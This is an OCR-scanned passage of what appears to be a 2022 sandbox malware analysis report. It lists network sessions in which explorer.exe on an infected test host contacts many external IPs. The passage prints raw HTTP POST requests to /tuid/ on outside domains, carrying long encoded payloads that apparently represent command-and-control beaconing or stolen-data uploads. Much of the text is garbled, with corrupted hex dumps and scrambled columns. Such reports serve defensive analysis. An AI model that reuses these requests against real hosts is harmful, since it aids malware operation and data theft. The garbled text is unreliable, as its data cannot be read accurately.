69 7a 65 73 3d 22 31 34 34 78 31 34 34 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 75 69 2e 61 63 74 69 76 65
32 34 2e 63 7a 2f 69 6d 67 2f 69 63 6f 6e 2f 61 70 70 6¢ 65 2d 69 63 6f 6e 2d 31 34 34 78 31 34 34 2e 70 6e 67 22 3e Oa
09 3c 6¢

Data Ascii: 5702<html><head><base href="/"><meta charset="utf-8"><title>ACTIVE 24, s.r.0.</title><meta name="v
iewport" content="width=device-width, initial-scale=1"><meta name="Keywords" content=""><meta name="Description"
content="ACTIVE 24, s.r.0."><meta name="Author" content="ACTIVE 24, s.r.0."><meta name="Owner" content="ACTIVE
24, s.r.0. ">... favicon start --><link rel="apple-touch-icon" sizes="57x57" href="https://gui.active24.cz/img/icon/apple-icon-
57x57.png"><link rel="apple-touch-icon" sizes="60x60" href="https://gui.active24.cz/img/icon/apple-icon-60x60.png"><link
rel="apple-touch-icon" sizes="72x72" href="https://gui.active24.cz/img/icon/apple-icon-72x72.png"><link rel="apple-touch-
icon" sizes="76x76" href="https://gui.active24.cz/img/icon/apple-icon-76x76.png"><link rel="apple-touch-icon" sizes="
114x114" href="https://gui.active24.cz/img/icon/apple-icon-114x114.png"><link rel="apple-touch-icon" sizes="120x120"
href="https://gui.active24.cz/img/icon/apple-icon-120x120.png"><link rel="apple-touch-icon" sizes="144x144" href=
"https://gui.active24.cz/img/icon/apple-icon-144x144.png"><I

Destination IP  Destination Port Process

142.251.39.115 80 C:\Windows\explorer.exe
Data

Destination IP Destination Port Process

142.251.39.115 80 C:\Windows\explorer.exe
Data

Destination IP Destination Port Process

104.21.39.116 80 C:\Windows\explorer.exe
Data

Page 61 of 90



Session ID Source IP
38 192.168.11.20
. kBytes
Timestamp transferred
Session ID Source IP
39 192.168.11.20
. kBytes
Timestamp transferred
Session ID Source IP
4 192.168.11.20
. kBytes
LHIEEE transferred
Aug 8, 2022 496
17:44:52.481976986
CEST

Copyright Joe Security LLC 2022

Source Port

49810

Direction

Source Port

49811

Direction

Source Port

49758

Direction

ouT

Destination IP Destination Port Process

104.21.39.116 80 C:\Windows\explorer.exe
Data

Destination IP Destination Port Process

130.211.17.207 80 C:\Windows\explorer.exe
Data

Destination IP Destination Port Process

154.210.161.216 80 C:\Windows\explorer.exe
Data

POST /tuid/ HTTP/1.1

Host: www.muziclips.com

Connection: close

Content-Length: 174830

Cache-Control: no-cache

Origin: http://www.muziclips.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.muziclips.com/tuid/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 6d 34 62 64 3d 76 59 38 70 54 65 32 6¢ 67 48 69 38 28 65 67 43 57 6e 33 75 49 37 39 5f 76 35 6f 49 4b 43 4a
63 77 49 55 46 38 77 63 67 4d 44 43 53 35 46 52 52 79 39 44 57 42 69 31 42 75 4f 4e 59 7a 52 63 37 77 50 44 69 6f 74
3536 5a 67 71 6f 68 47 30 42 65 62 50 55 62 5f 44 72 78 4b 52 52 49 33 66 79 52 56 70 75 50 68 45 78 6b 6b 58 45 4b
6b 70 65 72 70 78 32 7a 74 28 71 51 5f 73 73 43 79 37 70 6d 4e 42 44 77 30 51 5a 4c 32 4f 6e 56 53 47 43 57 53 58 44 6
¢ 5156 75 72 57 70 62 51 52 6¢ 41 70 79 57 67 62 31 62 67 74 74 7a 35 6¢ 52 32 4b 44 6b 62 64 4b 57 47 70 51 2d 6¢
66 66 7a 6d 48 4a 59 76 64 5a 6d 4b 4b 54 58 53 4d 6e 79 44 46 43 38 74 53 38 37 4a 4b 66 34 45 75 32 56 77 2d 54 31
62 72 68 53 6¢ 64 48 4f 59 6f 66 4d 67 64 75 63 42 6b 65 62 31 48 53 52 53 4¢ 74 31 47 69 51 34 49 6¢ 7a 69 3561 71
37 54 67 45 56 50 54 42 56 70 45 31 56 77 61 58 77 48 6f 6¢ 49 38 68 57 71 62 50 70 70 53 75 64 64 4f 30 7a 58 41 53
66 63 43 67 28 68 58 56 4a 64 41 4c 6b 32 6¢ 4f 66 71 4a 34 70 52 30 57 56 46 59 45 36 51 5a 6¢ 38 74 58 6¢ 4b 41 35
79 61 6b 30 64 64 74 4e 38 4c 72 4e 34 73 32 38 39 6f 6b 37 59 61 49 35 31 44 68 6¢ 50 56 6d 6e 6b 51 48 45 4b 4b 6f
78 63 66 69 39 72 78 6b 54 48 4d 6a 4c 68 42 53 48 6a 33 69 6d 46 28 30 46 75 77 75 4a 6¢ 37 65 58 72 36 59 37 5a 59
69 68 64 78 56 53 51 35 43 43 48 45 37 58 4c 66 58 34 46 59 59 5a 30 47 4a 71 35 6b 33 44 4a 64 53 77 7a 4c 38 6f 4e
5a 76 65 35 5a 74 31 30 4a 65 32 55 59 67 76 47 33 6b 4c 61 54 58 28 39 46 51 75 75 77 52 72 4c 79 50 57 4e 43 6b 44
2d 71 56 46 75 65 6¢ 50 50 5a 30 50 79 48 59 30 62 41 73 33 4d 59 50 39 54 51 6b 5a 7a 37 6e 79 50 65 33 44 33 34 58
76 4a 6f 77 47 70 73 4e 44 77 47 6d 70 6e 61 35 57 30 47 44 4d 79 4e 59 65 6¢ 52 63 45 67 37 35 45 39 63 2d 56 53 35
69 42 58 33 41 6b 30 7e 51 78 44 79 5f 41 4d 63 73 36 43 30 78 44 71 39 37 77 33 46 33 49 38 35 61 79 4d 66 58 5a 50
3843754839 66 39 56 6¢ 71 52 61 66 77 59 6b 59 34 73 48 51 78 61 52 54 42 65 79 6b 78 70 6a 57 76 74 6¢C 4c 4b 76
68 6d 72 31 51 6f 77 54 64 77 6f 78 79 7e 49 47 4e 30 56 42 55 6e 76 49 79 51 70 6¢ 6a 6e 64 6¢ 62 33 54 4b 64 56 77
4b 7a 70 35 4f 4c 72 57 78 67 38 69 59 6b 75 64 6e 51 75 42 30 48 4c 38 61 65 61 34 53 4b 54 4b 47 30 7a 6d 79 57 32
325266 79 68 30 41 56 4d 48 45 7a 47 6a 57 4c 4a 42 61 68 66 58 48 37 37 4d 66 30 4e 67 2d 6d 66 4a 62 64 6d 73 6¢
75 6¢ 6b 44 53 4¢c 62 79 64 4335 64 71 76 32 76 73 72 35 56 61 38 57 37 70 50 62 4e 74 58 68 34 77 57 31 4f 7a 35 62
62 6f 72 6d 61 50 45 4f 77 46 43 59 55 49 77 66 58 75 74 79 34 43 78 78 55 6b 74 4e 72 77 4b 77 63 36 7a 6b 5a 6b 55
7e 7273 6b 59 68 6d 78 70 34 34 67 50 57 4b 71 44 45 31 78 43 5a 4f 4e 75 6a 56 58 6f 37 6b 67 35 55 6b 67 71 4b 36
4f 6b 75 64 54 35 6b 57 36 61 32 4e 34 6¢ 6e 7e 4d 4a 5f 37 56 4b 2d 52 2d 47 46 67 56 36 4c 79 59 77 2d 68 44 35 4d 6
e 49 42 47 6c¢ 5f 28 73 6¢ 31 6¢ 37 79 2d 78 4b 6a 38 4a 77 34 35 53 4b 46 33 48 50 4d 55 35 58 43 5f 4c 4e 47 66 6e 38
30 2d 79 7a 4a 55 61 73 66 4a 41 65 33 46 4d 63 61 31 36 6b 58 51 30 7a 76 72 37 54 33 38 79 6b 49 38 50 75 39 70 6f
5542 65 79 47 66 71 59 54 36 73 39 68 37 33 72 37 4a 38 74 71 58 53 49 41 66 55 35 33 59 37 34 65 39 38 6d 34 36 4c
68 30 54 4c 75 45 52 66 79 6a 6b 78 62 55 58 78 30 6e 6¢ 44 57 33 48 5f 6d 62 6a 56 5a 7a 76 4c 31 46 4e 6f 34 66 46
6b 41 35 30 75 46 54 51 51 79 53 54 73 51 47 6¢ 61 4c 75 50 4b 31 4b 55 46 57 56 43 6d 31 68 6e 4a 4d 48 5a 53 38 38
6d 6d 37 49 58 6f 4a 55 4b 5a 36 64 78 44 49 49 63 63 52 79 43 69 36 4b 48 6d 56 62 79 52 35 5a 71 43 67 48 37 64 63
78 5a 5f 61 55 5a 64 4e 6b 34 44 52 71 38 62 45 6b 71 75 75 77 4b 78 71 66 78 64 32 30 46 56 76 56 61 68 38 6b 6b 74
55 75 44 67 6d 42 68 47 41 72 4c 47 7e 61 4a 66 54 65 59 67 73 45 6f 52 46 6e 66 31 41 39 76 65 37 4c 53 61 73 71 51
7332 7a78 37 7e 69 35 4e 34 74 41 5a 66 6¢ 5a 46 6a 73 63 46 49 50 5a 7a 36 73 79 5a 58 65 73 62 59 6¢ 7a 33 31 73
4f 72 3353 36 61 37 6¢ 4C 76 46 36 49 5a 55 53 65 53 41 38 66 35 6a 58 70 42 67 39 79 4c 70 50 43 4f 6e 46 49 72 5a
4b 54 31 78 61 68 42 4a 36 39 76 76 56 39 72 7e 75 7e 79 6¢ 4f 49 52 49 75 49 52 54 59 75 74 51 6f 7a 57 49 79 68 6f
Data Ascii: m4bd=vY8pTe2IgHi8(egCWn3ul79_v50lKCJIcwlUF8wcgMDCS5FRRYy9DWBIi1BUONYZzRc7wPDiot56Z
gqohGOBebPUb_DrxKRRI3fyRVpuPhExkkXEKkperpx2zt(qQ_ssCy7pmNBDwW0OQZL20nVSGCWSXDIQVurWpbQRIApyW
gb1bgttz5|R2KDkbdKWGpQ-IffzmHJYvdZmKKTXSMnyDFC8tS87JKf4Eu2Vw-T1brhSIdHOYofMgducBkeb1HSRSLt
1GiQ4l1zi5aq7TgEVPTBVpE1VwaXwHoll8hWgbPppSuddO0zXASfcCg(hXVJIdALK2I0fqJ4pROWVFYEBQZIBtXIKAS
yak0ddtN8LrN4s2890k7Yal51DhIPVmnkQHEKKoxcfiorxk THMjLhBSHj3imF(0FuwudI7eXr6Y7ZYihdxVSQ5CCHE
TXLFX4FYYZ0GJq5k3DJIdSwzL8oNZve5Zt10Je2UYgvG3kLaTX(9FQuuwRrLyPWNCKD-qVFuelPPZOPyHYObAs3MY P9
TQkZz7nyPe3D34XvJowGpsNDwGmpna5WO0GDMyNYelRcEg75E9c-VS5iBX3Ak0~QxDy_AMcs6C0xDg97w3F3185ayMf
XZP8CuH9f9VIgRafwYkY4sHQxaRTBeykxpjWvtlLKvhmriQowTdwoxy~IGNOVBUnvlyQpljndlb3TKdVwKzp50LrWx
g8iYkudnQuBOHL8aea4 SKTKG0zmyW22RfyhOAVMHEzGjWLJIBahfXH77MfONg-mflbdmslulkDSLbydC5dqv2vsr5Va
8W7pPbNtXh4wW10z5bbormaPEOwWFCYUlwfXuty4CxxUktNrwKwc6zkZkU~rskYhmxp44gPWKgDE1xCZONujVXo7kg5
UkggK60kudT5kW6a2N4In~MJ_7VK-R-GFgV6LYYw-hD5MNIBGI_(s1117y-xKj8Iw45SKF3HPMUSXC_LNGfn80-yzJ
UasfJAe3FMcal6kXQO0zvr7T38ykI8Pu9poUBeyGfqYT6s9h73r7J8tgXSIAfU53Y74€98m46Lh0TLUERTYjkxbUXxX0
nIDW3H_mbjVZzvL1FNo4fFkA50uFTQQySTsQGlaLuPK1IKUFWYCm1hnIMHZS88mm71X0JUKZ6dxDlIccRyCi6KHMVby
R5ZqCgH7dcxZ_aUZdNk4 DRg8bEkquuwKxgfxd20FVvVah8kktUuDgmBhGArLG~alfTeYgsEoRFNf1A9ve7LSasqQs2

T IER AL A FA T A AT IR T 2L TN A~ =R AN C L AT L RIT IO A AT AP Al d AP AAAE T T A AP 100w A IAe 12 dAIR
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ZX T~ IONALALILFISUFIF LLOSYLZAESY T1£315U1390d / ILVFDIZUDEDAOIDJAPDYYYLPFCUIIFITLZN | LXATIDJOYVV V II~U~YIUIIKI

Timestamp kBytes Direction H&;Ython_Vlyho(aCe(NPAa_UOx4W7R_4—rU4mrqIAETNJIhau9vszQndn§tZquGF_LPrQXdyTPpprwnp~DgPk
transferred uJRiFHaTvy-jfmzH6638HImb3122FfgbcodgBQF~dqcvpxAISFZRy27IAh-0lYjOSxuhsMwdQDc(Jddohmc(hCYpdn
ugpL2abAaxuly89(w3hliinno4SD3tHQmML3MA8gCyb6DmJIIBRMhNiF4Rp96DvXEusmxmOZ9gjHUPbos5mypgRVRIfT
pOssIL-ZbZnWWTib2Ea05a_aqR9XQEZopdv95b2yG0tV8YyloFpP1G_gNEyNNcul7Qv(x0wMkZuuDy4WtN4dRZwIO7
CklYbc6CwdtLHoAgY ululfDhfQw|TjGvw2fdb~1~3JT2uZejV6rZ7DY TjRKberO(NwQYK2folmdpQn4SDG1NL8OmMSH
w270lYm7aGWcddPJ7A_Ymc6YjHeCm6tLGAVPNCxxO0QIL76uoqFiSPalZfRI-asrPqqOUtPXdJdzTINhvkiT5BgshS
EYAVNITmMIQGBW7RogPrLOtNQj8_2gXReKQR50AaZ0lgl3byAjlOtoPW5C60gMdwQ-i1Lci2d3ZFRkYeUJEPdcFFIEm
1p8tUs6UIuUKf mMBJIPmMoDL SqcxOBqlf02g1WIz5mgl4SxcuwDspOhAOqgi-25tHHzI7WvgUEQQjbxQfsXAm6zVay-054
6kVfA(eBzviLoeSqoXPgsmTgmCgbygLGBQ8w_pfxalmy11Z4IFcgrG7J_gMAfP96hd4Vt1ESCznu3eRbH7x1Zbe2bk
JdLBY{S2Qhu2Mk3fZ7ah71viMY SoCMLQdOvu5CnU3kek30sLTMeXRwVA8h1fagricN5Sy THFuhxdLVgCKxJQBspGcNd
XxCT6alRUgQz6GDY]jYDZ(pK3INUFWB(InKUI4nfZFa33rWNR0O7wJ8-OTamCUY TOcFoGtaqk2DZGpDLXcIHDb63bLZEL
4g7NDBUE390mC(JQf640vnvQIFPINGIVTTgaBbly6BOVHT7J380VsdeLrobM8QEz8ZujP(xGLIgqglG9dbLTxgpmRHe
M4XRriXXhWJrehRsEwmmbKZg9mgB7wz3mMXSAIIDvo7FmYT~8zI07xsYuQuJL1Th814FGqriKfelmrR1ThZa58WRJF
7C-rSXN59IKEAGiIMyD2I8R91K6MGADSaKFk(p(pc4xW~029bql cAd1ixH1vygz6LiXWBArY Pap4l0F3xY CUmM2kX37F
aDb0agflucZfJtsSmFzNDwpkD5IdsfbCLW3YIE9tSSIIDUXSNS03WtmVKFC8ThQAbtiInFD8X31Mpg_PFriYFSJOhV
i~mYVR70xvmF5VVvXEJZTcRaloN_Z_vmV-eQil7LAi2qgsCb8pBhcW41Q8vYyzQmEdDJIQro6SqVFUgnpQf5tx1IdF3fS-
~UuWI1VuFgcMOcJGdQLt3dwveCCZ0OVRDfh9Y4BhpfwlLnsQvPmVK64UJViBZxdtkHIsKvgromG3obTZbQnrXsMKPaZa
psHo2v0OVelMDLY1Pb2YO0(_Uifk4VIz~5sGlIrMUTIIHMISKHNNG5tkEfaayVCx6f2wAjrbr3x-XploOKSzOmOVQmIF
HXLfgDcteXavQgla8GGP4jw29MNK4Nes7FJ(nGCAyL3B5TJSu9oDQaNNIXFiHtA6d16i7J6t8PP7IrLd8YhfvLY1UT
JjénU4olWOLPwSmVeDanSc_AeJiS9f-5bp4ZtC6xez7JEIrNPFRPFrFHI8XgKSr40JbYDD2DeY2Ch6KTdUSgZkxwoV
nDZZTuwr5eL95m7m7YrJF1FcXfuxLUGy4eSgbVMdkL8~9ImudaxXSMcRhMelfiyiCReaboGsrD_2py66ulQsKDrMzcYC
wBk1_6mxOGpbCDhrf6IF-ejz2(7u7kQXmbtDX9zQNQ3If~DVk2K (jbmvAzQJIwhVeqM3jTgFCvInS6bk3t(NBA769Ir
9Yq7Una~zW_GlumtxralkYVgRREvjhkvCKdQF40cJ7p0kmfOXr8~XEctulneYNKyKfp6XIvNm3twUuxTogK5zotnB1
m8gyV(aeowK6ZZKLk(cZIkQKRANtH3g7wxR4pKYtAvCsOzlovGYRhK2UyGiq9Z0XELSZYz4L7R_nV5sH-Nm7JXeWAB
KmFAfn393~eYL39GVZISYE-bsJ_BuE9u17sCHWBI9hzZ0h7de0d(Q2cfY (f8sgtH5eqfChdekzbwKUncAQOnuQoUpU
bOkj5~ygcarblQcb8KsY9IR3IPKqf3Y4fMCmPF2QQCKFVBIlun4iKMtomH6GEgQqjzAl6iwzvgXs~gnvQrafsUZdZWU3K
3uupWIJtPUNZbqi6Ua87_01DmXKjT6Zws~W500CpXJtIVEMwrylJBrH~K87mHPCBeObWIgeF5PVP5n_WJgpvib52YA
qdGkFraG9BP(-fJdL44F_o-6FYCFiTPjohx3a8Cjm3lcyMWsQPsaeEwu5uFhGYjOY2nv3L51H2y8qN8i-zxu4~VhDT
B7gAwDBfOeLgB50onbdeXOsts37Ekm4ywe AHNXKU7tHnVus3yMGnuNeip4rvly9un_YSaQONLr6Ap3L-nxVdliQNsC9
VCBZy~RU9vbXS806Vk3Biy3ToHX3KDil5xRed7eC8U2rMZzUGXohrtkmre4fy5HBTGbpdt7DwKCzPH5BiuVWugG2Z0
QnT8wp4uwSp659eP7tqle4oKjPYKKTt7PrlIsk
Session ID Source IP Source Port Destination IP Destination Port Process
40 192.168.11.20 49812 130.211.17.207 80 C:\Windows\explorer.exe
kByt:
Timestamp yes Direction Data
transferred
Session ID Source IP Source Port Destination IP  Destination Port Process
41 192.168.11.20 49813 13.248.216.40 80 C:\Windows\explorer.exe
kB!
Timestamp P Direction Data
transferred
Session ID Source IP Source Port Destination IP  Destination Port Process
42 192.168.11.20 49814 13.248.216.40 80 C:\Windows\explorer.exe
kB
Timestamp ytes Direction Data
transferred
Session ID Source IP Source Port Destination IP Destination Port Process
43 192.168.11.20 49815 89.46.108.25 80 C:\Windows\explorer.exe
Timestamp L Direction Data
transferred
Session ID Source IP Source Port Destination IP Destination Port Process
44 192.168.11.20 49816 89.46.108.25 80 C:\Windows\explorer.exe
Timestamp e Direction Data
transferred
Session ID Source IP Source Port Destination IP Destination Port Process
45 192.168.11.20 49817 188.114.96.3 80 C:\Windows\explorer.exe

Copyright Joe Security LLC 2022
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Timestamp

Session ID

46

Timestamp

Session ID

47

Timestamp

Session ID

48

Timestamp

Session ID

49

Timestamp

Session ID

5

Timestamp

Aug 8, 2022
17:44:52.715929031
CEST

kBytes
transferred

Source IP

192.168.11.20

kBytes
transferred

Source IP

192.168.11.20

kBytes
transferred

Source IP

192.168.11.20

kBytes
transferred

Source IP

192.168.11.20

kBytes
transferred

Source IP

192.168.11.20

kBytes
transferred

519

Copyright Joe Security LLC 2022

Direction

Source Port

49818

Direction

Source Port

49821

Direction

Source Port

49822

Direction

Source Port

49823

Direction

Source Port

49759

Direction

ouT

Data

Destination IP

188.114.96.3

Data

Destination IP

217.21.87.131

Data

Destination IP

185.27.134.153

Data

Destination IP

154.23.227.120

Data

Destination IP

154.210.161.216

Data

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Process

C:\Windows\explorer.exe

Process

C:\Windows\explorer.exe

Process

C:\Windows\explorer.exe

Process

C:\Windows\explorer.exe

Process

C:\Windows\explorer.exe

GET /tuid/?m4bd=galTN7i6/i636J8ZdAepXbFiroAuKTRwrMdc4y4CfBKs7kJVyv+3PWgk2/xmwUEu5s/a&M8s=w
86DJpgx5FYIUfRP HTTP/1.1
Host: www.muziclips.com
Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes

Timestamp e Direction
Aug 8, 2022 563 IN
17:44:52.952666998
CEST
Session ID Source IP Source Port
50 192.168.11.20 49824
. kBytes . .
Ti Di
imestamp transferred irection
Session ID Source IP Source Port
51 192.168.11.20 49825
Timestamp L Direction
transferred
Session ID Source IP Source Port
52 192.168.11.20 49828
Timestamp e Direction
transferred

Copyright Joe Security LLC 2022

Data

HTTP/1.1 200 OK

Server: nginx

Date: Mon, 08 Aug 2022 15:44:43 GMT

Content-Type: text/html

Content-Length: 1578

Connection: close

Vary: Accept-Encoding

Data Raw: 3c 68 74 6d 6¢ 20 78 6d 6¢ 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f
78 68 74 6d 6¢ 22 3e 0d Oa 3c 68 65 61 64 3e 0d 0a 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 74 69 74 6¢ 65
3d 27 d6 dc bf da c6 c1 bf c2 b9 e3 b8 e6 b4 ab c3 bd d3 d0 cf de b9 ab cb be 27 3b 3c 2f 73 63 72 69 70 74 3e 0d Oa 3c
74 69 74 6¢ 65 3e 26 23 32 33 35 36 37 3b 26 23 32 30 31 38 35 3b 26 23 32 32 38 39 39 3b 26 23 32 34 33 32 30 3b 26
233236 37 32 33 3b 26 23 31 30 36 3b 26 23 31 30 37 3b 26 23 33 33 32 35 38 3b 26 23 32 34 39 34 34 3b 2c 26 23 32
37 34 33 313b 26 23 33 32 36 35 34 3b 26 23 33 30 37 37 32 3b 26 23 33 33 35 30 32 3b 26 23 32 37 39 36 39 3b 26 23
3334 3838303b262332323331323b26233332 343437 3b262333353237303b262333393035373b2c
26 23 32 36 34 39 37 3b 26 23 32 31 36 39 37 3b 26 23 33 33 38 30 34 3b 26 23 33 30 33 33 33 3b 26 23 33 37 32 33 33
3b 26 23 32 36 30 37 31 3b 26 23 33 34 39 35 37 3b 2c 26 23 34 39 3b 26 23 35 36 3b 26 23 33 31 31 30 35 3b 26 23 32
323839 39 3b 26 23 32 33 33 37 36 3b 26 23 33 35 30 36 34 3b 26 23 32 30 33 30 37 3b 26 23 33 38 37 30 36 3b 26 23
3331313639 3b 26 23 32 33 34 39 34 3b 26 23 33 32 35 39 33 3b 26 23 33 31 34 34 39 3b 3c 2f 74 69 74 6¢ 65 3e 0d
Oa 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 26 23 32 33 35 36 37
3b 26 23 32 30 31 38 35 3b 26 23 32 32 38 39 39 3b 26 23 32 34 33 32 30 3b 26 23 32 36 37 32 33 3b 26 23 31 30 36 3b
26233130 37 3b 26 23 33 33 32 35 38 3b 26 23 32 34 39 34 34 3b 2c 26 23 32 37 34 33 31 3b 26 23 33 32 36 35 34 3b
26 23 33 30 37 37 32 3b 26 23 33 33 35 30 32 3b 26 23 32 37 39 36 39 3b 26 23 33 34 38 38 30 3b 26 23 32 32 33 31 32
3b 26 23 33 32 34 34 37 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b 2c 26 23 32 36 34 39 37 3b 26 23 32 31 36
39 37 3b 26 23 33 33 38 30 34 3b 26 23 33 30 33 33 33 3b 26 23 33 37 32 33 33 3b 26 23 32 36 30 37 31 3b 26 23 33 34
39 35 37 3b 2c 26 23 34 39 3b 26 23 35 36 3b 26 23 33 31 31 30 35 3b 26 23 32 32 38 39 39 3b 26 23 32 33 33 37 36 3b
26 23 33 3530 36 34 3b 26 23 32 30 33 30 37 3b 26 23 33 38 37 30 36 3b 26 23 33 31 31 36 39 3b 26 23 32 33 34 39 34
3b 26 23 33 32 35 39 33 3b 26 23 33 31 34 34 39 3b 22 20 2f 3e 0d Oa 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63
72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 26 23 32 37 34 33 31 3b 26 23 33 32 36 35 34 3b 26 23 33 30 37
37 32 3b 26 23 33 33 35 30 32 3b 26 23 32 37 39 36 39 3b 26 23 33 34 38 38 30 3b 26 23 32 32 33 31 32 3b 26 23 33 32
3434 37 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b 2c 26 23 32 36 34 39 37 3b 26 23 32 31 36 39 37 3b 26 23
3333383034 3b 26 23 33 30 33 33 33 3b 26 23 33 37 32 33 33 3b 26 23 32 36 30 37 31 3b 26 23 33 34 39 3537 3b 2c
26 23 34 39 3b 26 23 35 36 3b 26 23 33 31 31 30 35 3b 26 23 32 32 38 39 39 3b 26 23 32 33 33 37 36 3b 26 23 33 35 30
36 34 3b 26 23 32 30 33 30 37 3b 26 23 33 38 37 30 36 3b 26 23 33 31 31 36 39 3b 26 23 32 33 34 39 34 3b 26 23 33 32
3539 33 3b 26 23 33 31 34 34 39 3b 2c 26 23 32 33 35 36 37 3b 26 23 32 30 31 38 35 3b 26 23 32 32 38 39 39 3b 26 23
32343332 303b 2623323637 32333b 2623313036 3b 2623313037 3b26 2333 333235383b2623323439
34 34 3b 2c 26 23 32 30 30 33 37 3b 26 23 32 30 30 36 31 3b 26 23 32 38 39 30 39 3b 26 23 35 37 3b 26 23 35 37 3b 26
23313134 3b 26 23 313031 3b 262333353237 303b 2623 3339303537 3b262332323331323b26233332
343437 3b 2c 26 23323031

Data Ascii: <html xmiIns="http://www.w3.0rg/1999/xhtml"><head><script>document.title=";</script><title>&#23567
;&#20185;8#22899;&#24320;&#26723;8#106;8#107;8#33258;&#24944;,8#27431;8#32654,;&#30772;8#33502;&#2796
9;&#34880;&#22312;&#32447;&#35270;&#39057;,&#26497;&#21697;&#33804;8#30333;&#37233;&#26071,;&#34957;,
&#49;&#56;&#31105;&#22899;&#23376;8#35064,;&#20307;8#38706;&#31169;&#23494;&#32593;&#31449;</title><meta
name="keywords" content="8&#23567;8&#20185;&#22899;&#24320;&#26723;8#106;8&#107,;8#33258;&#24944; &#
27431;&#32654;8#30772;8#33502;8#27969;&#34880;&#22312;&#32447,&#35270,&#39057;,&#26497;8#21697;8#338
04;&#30333;&#37233;8#26071;&#34957;,8#49;&#56;&#31105;8#22899;8#23376,8#35064,;&#20307;8#38706;&#3116
9;&#23494,&#32593;&#31449;" /><meta name="description" content="&#27431;&#32654;&#30772;8#33502;&#27
969;&#34880;&#22312;&#32447;8#35270;8#39057;,&#26497;&#21697;8#33804,;8&#30333;&#37233;&#26071;8#34957

1 &#49;&#56,8#31105;8#22899;&#23376,;&#35064;&#20307;&#38706;&#31169;8+#23494;8#32593;8#31449;,&#23567
;&#20185;8#22899;&#24320;&#26723;&#106;8#107,8#33258;&#24944;,8#20037;&#20061;&#28909;&#57;&#57;&#11
4,8#101;&#35270;8#39057;8#22312;&#32447;,&#201

Destination IP  Destination Port Process

103.150.61.226 80 C:\Windows\explorer.exe
Data

Destination IP Destination Port Process

66.29.155.228 80 C:\Windows\explorer.exe
Data

Destination IP Destination Port Process

142.251.39.115 80 C:\Windows\explorer.exe
Data
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Session ID Source IP
53 192.168.11.20

. kBytes
Ti t

imestamp transferred
Session ID Source IP
54 192.168.11.20

. kBytes
Ti t

imestamp transferred
Session ID Source IP
55 192.168.11.20

. kBytes
Ti t

fmestamp transferred
Session ID Source IP
56 192.168.11.20

. kBytes
Ti t

imestamp transferred
Session ID Source IP
57 192.168.11.20

. kBytes
T

imestamp transferred
Session ID Source IP
58 192.168.11.20

. kBytes
T

imestamp transferred
Session ID Source IP
59 192.168.11.20

. kBytes
Timestam

! P transferred
Session ID Source IP
6 192.168.11.20

. kBytes
Timestam

imestamp transferred

Copyright Joe Security LLC 2022

Source Port

49829

Direction

Source Port

49830

Direction

Source Port

49831

Direction

Source Port

49832

Direction

Source Port

49835

Direction

Source Port

49836

Direction

Source Port

49837

Direction

Source Port

49761

Direction

Destination IP

145.14.153.89

Data

Destination IP

216.18.208.202

Data

Destination IP

81.95.96.29

Data

Destination IP

142.251.39.115

Data

Destination IP

104.21.39.116

Data

Destination IP

130.211.17.207

Data

Destination IP

13.248.216.40

Data

Destination IP

103.150.61.226

Data

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Process

C:\Windows\explorer.exe

Process

C:\Windows\explorer.exe

Process

C:\Windows\explorer.exe

Process

C:\Windows\explorer.exe

Process

C:\Windows\explorer.exe

Process

C:\Windows\explorer.exe

Process

C:\Windows\explorer.exe

Process

C:\Windows\explorer.exe
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kBytes

Timestamp e Direction
Aug 8, 2022 676 ouT
17:44:58.833225012

CEST

Aug 8, 2022 689 IN
17:44:59.005353928

CEST

Session ID Source IP Source Port
60 192.168.11.20 49838

Copyright Joe Security LLC 2022

Data

POST /tuid/ HTTP/1.1

Host: www.ghanesa.xyz

Connection: close

Content-Length: 174830

Cache-Control: no-cache

Origin: http://www.ghanesa.xyz

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.ghanesa.xyz/tuid/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 6d 34 62 64 3d 54 4c 4d 65 6¢ 6¢ 68 45 74 73 63 63 28 36 74 68 59 6f 65 61 71 36 71 39 65 50 31 32 6a 74 57
62 70 38 48 52 6d 41 48 64 28 58 6¢ 69 7e 34 7a 49 7e 63 47 64 42 64 6¢ 57 73 54 65 48 4b 31 64 67 48 45 6¢ 4b 6b 53
7477 66 70 47 57 49 64 7e 4f 6d 46 4c 65 6f 6f 75 69 45 44 36 6a 6b 70 4f 4b 6e 4c 62 69 30 4f 36 64 59 73 67 6¢ 47 79
7e 6b 44 72 33 44 54 64 52 31 4b 66 65 38 41 44 48 76 30 45 42 64 63 68 43 31 4d 55 36 41 44 49 54 71 4a 73 64 45 52
4f 6b 35 6d 58 72 43 50 67 56 56 63 4b 5a 56 6b 52 67 34 46 71 78 65 28 5a 56 37 31 31 6a 55 46 76 44 4c 36 35 43 62
59 74 46 46 55 52 64 35 62 4f 61 51 4c 5a 61 62 47 6e 39 57 6¢ 57 4e 33 55 42 77 38 37 32 76 73 28 47 39 2d 33 41 61
7066 41 76 68 68 71 6¢ 79 6a 57 6e 51 6e 69 53 39 54 6d 50 75 66 74 4e 4f 6e 4f 41 43 62 43 53 45 36 57 74 30 6d 44
51 38 7a 38 63 52 59 63 38 75 6a 48 39 48 73 7a 33 76 69 69 45 49 28 39 31 65 30 37 47 54 7e 34 39 76 41 5f 45 65 57
